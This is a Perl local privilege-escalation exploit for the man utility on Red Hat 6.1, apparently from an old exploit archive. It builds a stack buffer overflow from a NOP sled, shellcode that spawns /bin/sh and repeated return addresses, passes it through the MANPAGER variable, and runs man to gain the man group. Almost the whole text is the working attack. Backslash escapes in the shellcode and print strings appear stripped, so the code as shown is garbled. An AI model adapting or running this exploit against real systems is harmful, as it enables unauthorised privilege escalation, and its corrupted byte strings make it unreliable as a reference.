#!/usr/bin/perl

##  Redhat 6.1 man exploit - gives egid 15
##  Written just for fun - teleh0r@doglover.com


$shellcode =  "xebx1fx5fx89xfcx66xf7xd4x31xc0x8ax07".
              "x47x57xaex75xfdx88x67xffx48x75xf6x5b".
              "x53x50x5ax89xe1xb0x0bxcdx80xe8xdcxff".
              "xffxffx01x2fx62x69x6ex2fx73x68x01";


$len = 4062;        # -- Sufficient to overwrite EIP.
$nop = "x90";      # -- x86 NOP.
$ret = 0xbfffbb24;  # -- ESP / Return value.
$offset = -800;     # -- Default offset to try.


if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

# [ Buffer: NNNNNNNNNNNNNN ]

# Add the shellcode to the buffer.

$buffer .= $shellcode;

# [ Buffer: NNNNNNNNNNNNNNSSSSS ]

$address = sprintf('%lx', ($ret + $offset));
$new_ret = pack('l', ($ret + $offset));

print("Address: 0x$address / Offset: $offsetn");
sleep(1);

# Fill the rest of the buffer (length 100) with RET's.

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]

local($ENV{'MANPAGER'}) = $buffer; exec("/usr/bin/man id");


# www.Syue.com [2001-01-19]